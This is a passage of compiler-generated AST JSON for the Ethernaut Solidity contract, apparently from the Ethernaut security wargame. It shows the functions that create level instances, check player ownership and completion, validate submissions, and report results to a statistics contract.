doesn't exists\""}],"id":48962,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1719:7:38","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":48970,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1719:71:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48971,"nodeType":"ExpressionStatement","src":"1719:71:38"},{"assignments":[48973],"declarations":[{"constant":false,"id":48973,"mutability":"mutable","name":"instance","nameLocation":"1861:8:38","nodeType":"VariableDeclaration","scope":49016,"src":"1853:16:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48972,"name":"address","nodeType":"ElementaryTypeName","src":"1853:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":48982,"initialValue":{"arguments":[{"expression":{"id":48979,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1912:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":48980,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1916:6:38","memberName":"sender","nodeType":"MemberAccess","src":"1912:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":48974,"name":"_level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48959,"src":"1872:6:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},"id":48975,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1879:14:38","memberName":"createInstance","nodeType":"MemberAccess","referencedDeclaration":55498,"src":"1872:21:38","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_address_$returns$_t_address_$","typeString":"function (address) payable external returns (address)"}},"id":48978,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"expression":{"id":48976,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1901:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":48977,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1905:5:38","memberName":"value","nodeType":"MemberAccess","src":"1901:9:38","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"1872:39:38","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_address_$returns$_t_address_$value","typeString":"function (address) payable external returns (address)"}},"id":48981,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1872:51:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"1853:70:38"},{"expression":{"id":48992,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":48983,"name":"emittedInstances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48940,"src":"2004:16:38","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_EmittedInstanceData_$48935_storage_$","typeString":"mapping(address => struct Ethernaut.EmittedInstanceData storage ref)"}},"id":48985,"indexExpression":{"id":48984,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48973,"src":"2021:8:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"2004:26:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage","typeString":"struct Ethernaut.EmittedInstanceData storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":48987,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2053:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":48988,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2057:6:38","memberName":"sender","nodeType":"MemberAccess","src":"2053:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":48989,"name":"_level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48959,"src":"2065:6:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"66616c7365","id":48990,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2073:5:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":48986,"name":"EmittedInstanceData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48935,"src":"2033:19:38","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_EmittedInstanceData_$48935_storage_ptr_$","typeString":"type(struct Ethernaut.EmittedInstanceData storage pointer)"}},"id":48991,"isConstant":false,"isLValue":false,"isPure":false,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2033:46:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_memory_ptr","typeString":"struct Ethernaut.EmittedInstanceData memory"}},"src":"2004:75:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage","typeString":"struct Ethernaut.EmittedInstanceData storage ref"}},"id":48993,"nodeType":"ExpressionStatement","src":"2004:75:38"},{"expression":{"arguments":[{"id":48997,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48973,"src":"2119:8:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":49000,"name":"_level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48959,"src":"2137:6:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"id":48999,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2129:7:38","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":48998,"name":"address","nodeType":"ElementaryTypeName","src":"2129:7:38","typeDescriptions":{}}},"id":49001,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2129:15:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":49002,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2146:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49003,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2150:6:38","memberName":"sender","nodeType":"MemberAccess","src":"2146:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":48994,"name":"statistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48882,"src":"2090:10:38","typeDescriptions":{"typeIdentifier":"t_contract$_IStatistics_$48877","typeString":"contract IStatistics"}},"id":48996,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2101:17:38","memberName":"createNewInstance","nodeType":"MemberAccess","referencedDeclaration":48858,"src":"2090:28:38","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":49004,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2090:67:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49005,"nodeType":"ExpressionStatement","src":"2090:67:38"},{"eventCall":{"arguments":[{"expression":{"id":49007,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2244:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49008,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2248:6:38","memberName":"sender","nodeType":"MemberAccess","src":"2244:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":49009,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48973,"src":"2256:8:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":49012,"name":"_level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48959,"src":"2274:6:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"id":49011,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2266:7:38","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49010,"name":"address","nodeType":"ElementaryTypeName","src":"2266:7:38","typeDescriptions":{}}},"id":49013,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2266:15:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"id":49006,"name":"LevelInstanceCreatedLog","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48948,"src":"2220:23:38","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address)"}},"id":49014,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2220:62:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49015,"nodeType":"EmitStatement","src":"2215:67:38"}]},"functionSelector":"dfc86b17","implemented":true,"kind":"function","modifiers":[],"name":"createLevelInstance","nameLocation":"1621:19:38","parameters":{"id":48960,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48959,"mutability":"mutable","name":"_level","nameLocation":"1647:6:38","nodeType":"VariableDeclaration","scope":49017,"src":"1641:12:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},"typeName":{"id":48958,"nodeType":"UserDefinedTypeName","pathNode":{"id":48957,"name":"Level","nameLocations":["1641:5:38"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"1641:5:38"},"referencedDeclaration":55508,"src":"1641:5:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},"visibility":"internal"}],"src":"1640:14:38"},"returnParameters":{"id":48961,"nodeType":"ParameterList","parameters":[],"src":"1670:0:38"},"scope":49101,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":49100,"nodeType":"FunctionDefinition","src":"2295:921:38","nodes":[],"body":{"id":49099,"nodeType":"Block","src":"2358:858:38","nodes":[],"statements":[{"assignments":[49024],"declarations":[{"constant":false,"id":49024,"mutability":"mutable","name":"data","nameLocation":"2429:4:38","nodeType":"VariableDeclaration","scope":49099,"src":"2401:32:38","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData"},"typeName":{"id":49023,"nodeType":"UserDefinedTypeName","pathNode":{"id":49022,"name":"EmittedInstanceData","nameLocations":["2401:19:38"],"nodeType":"IdentifierPath","referencedDeclaration":48935,"src":"2401:19:38"},"referencedDeclaration":48935,"src":"2401:19:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData"}},"visibility":"internal"}],"id":49028,"initialValue":{"baseExpression":{"id":49025,"name":"emittedInstances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48940,"src":"2436:16:38","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_EmittedInstanceData_$48935_storage_$","typeString":"mapping(address => struct Ethernaut.EmittedInstanceData storage ref)"}},"id":49027,"indexExpression":{"id":49026,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49019,"src":"2453:9:38","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2436:27:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage","typeString":"struct Ethernaut.EmittedInstanceData storage ref"}},"nodeType":"VariableDeclarationStatement","src":"2401:62:38"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":49034,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":49030,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49024,"src":"2481:4:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData storage pointer"}},"id":49031,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"2486:6:38","memberName":"player","nodeType":"MemberAccess","referencedDeclaration":48929,"src":"2481:11:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":49032,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2496:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49033,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2500:6:38","memberName":"sender","nodeType":"MemberAccess","src":"2496:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2481:25:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f207468652063757272656e742075736572","id":49035,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2508:50:38","typeDescriptions":{"typeIdentifier":"t_stringliteral_3fc2602a18cef61063c187d4c222a91651cdbd7a144611b2f3ee42205aee6376","typeString":"literal_string \"This instance doesn't belong to the current user\""},"value":"This instance doesn't belong to the current user"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_3fc2602a18cef61063c187d4c222a91651cdbd7a144611b2f3ee42205aee6376","typeString":"literal_string \"This instance doesn't belong to the current user\""}],"id":49029,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2473:7:38","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":49036,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2473:86:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49037,"nodeType":"ExpressionStatement","src":"2473:86:38"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":49042,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":49039,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49024,"src":"2617:4:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData storage pointer"}},"id":49040,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"2622:9:38","memberName":"completed","nodeType":"MemberAccess","referencedDeclaration":48934,"src":"2617:14:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"66616c7365","id":49041,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2635:5:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"2617:23:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4c6576656c20686173206265656e20636f6d706c6574656420616c7265616479","id":49043,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2642:34:38","typeDescriptions":{"typeIdentifier":"t_stringliteral_5dca83cf68fad78343b6244ef171ccb0f8499a3f0c5ff47716078af02a5144fc","typeString":"literal_string \"Level has been completed already\""},"value":"Level has been completed already"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_5dca83cf68fad78343b6244ef171ccb0f8499a3f0c5ff47716078af02a5144fc","typeString":"literal_string \"Level has been completed already\""}],"id":49038,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2609:7:38","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":49044,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2609:68:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49045,"nodeType":"ExpressionStatement","src":"2609:68:38"},{"condition":{"arguments":[{"id":49049,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49019,"src":"2791:9:38","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"expression":{"id":49050,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2802:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49051,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2806:6:38","memberName":"sender","nodeType":"MemberAccess","src":"2802:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"expression":{"id":49046,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49024,"src":"2763:4:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData storage pointer"}},"id":49047,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"2768:5:38","memberName":"level","nodeType":"MemberAccess","referencedDeclaration":48932,"src":"2763:10:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},"id":49048,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2774:16:38","memberName":"validateInstance","nodeType":"MemberAccess","referencedDeclaration":55507,"src":"2763:27:38","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_payable_$_t_address_$returns$_t_bool_$","typeString":"function (address payable,address) external returns (bool)"}},"id":49052,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2763:50:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":49097,"nodeType":"Block","src":"3117:93:38","statements":[{"expression":{"arguments":[{"id":49087,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49019,"src":"3156:9:38","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"arguments":[{"expression":{"id":49090,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49024,"src":"3175:4:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData storage pointer"}},"id":49091,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"3180:5:38","memberName":"level","nodeType":"MemberAccess","referencedDeclaration":48932,"src":"3175:10:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"id":49089,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3167:7:38","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49088,"name":"address","nodeType":"ElementaryTypeName","src":"3167:7:38","typeDescriptions":{}}},"id":49092,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3167:19:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":49093,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3188:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49094,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3192:6:38","memberName":"sender","nodeType":"MemberAccess","src":"3188:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":49084,"name":"statistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48882,"src":"3131:10:38","typeDescriptions":{"typeIdentifier":"t_contract$_IStatistics_$48877","typeString":"contract IStatistics"}},"id":49086,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3142:13:38","memberName":"submitFailure","nodeType":"MemberAccess","referencedDeclaration":48867,"src":"3131:24:38","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":49095,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3131:68:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49096,"nodeType":"ExpressionStatement","src":"3131:68:38"}]},"id":49098,"nodeType":"IfStatement","src":"2759:451:38","trueBody":{"id":49083,"nodeType":"Block","src":"2815:296:38","statements":[{"expression":{"id":49057,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":49053,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49024,"src":"2876:4:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData storage pointer"}},"id":49055,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"2881:9:38","memberName":"completed","nodeType":"MemberAccess","referencedDeclaration":48934,"src":"2876:14:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":49056,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2893:4:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"2876:21:38","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":49058,"nodeType":"ExpressionStatement","src":"2876:21:38"},{"expression":{"arguments":[{"id":49062,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49019,"src":"2937:9:38","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"arguments":[{"expression":{"id":49065,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49024,"src":"2956:4:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData storage pointer"}},"id":49066,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"2961:5:38","memberName":"level","nodeType":"MemberAccess","referencedDeclaration":48932,"src":"2956:10:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"id":49064,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2948:7:38","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49063,"name":"address","nodeType":"ElementaryTypeName","src":"2948:7:38","typeDescriptions":{}}},"id":49067,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2948:19:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":49068,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2969:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49069,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2973:6:38","memberName":"sender","nodeType":"MemberAccess","src":"2969:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":49059,"name":"statistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48882,"src":"2912:10:38","typeDescriptions":{"typeIdentifier":"t_contract$_IStatistics_$48877","typeString":"contract IStatistics"}},"id":49061,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2923:13:38","memberName":"submitSuccess","nodeType":"MemberAccess","referencedDeclaration":48876,"src":"2912:24:38","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":49070,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2912:68:38","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49071,"nodeType":"ExpressionStatement","src":"2912:68:38"},{"eventCall":{"arguments":[{"expression":{"id":49073,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3057:3:38","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49074,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3061:6:38","memberName":"sender","nodeType":"MemberAccess","src":"3057:10:38","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":49075,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49019,"src":"3069:9:38","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"arguments":[{"expression":{"id":49078,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49024,"src":"3088:4:38","typeDescriptions":{"typeIdentifier":"t_struct$_EmittedInstanceData_$48935_storage_ptr","typeString":"struct Ethernaut.EmittedInstanceData storage pointer"}},"id":49079,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"3093:5:38","memberName":"level","nodeType":"MemberAccess","referencedDeclaration":48932,"src":"3088:10:38","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract 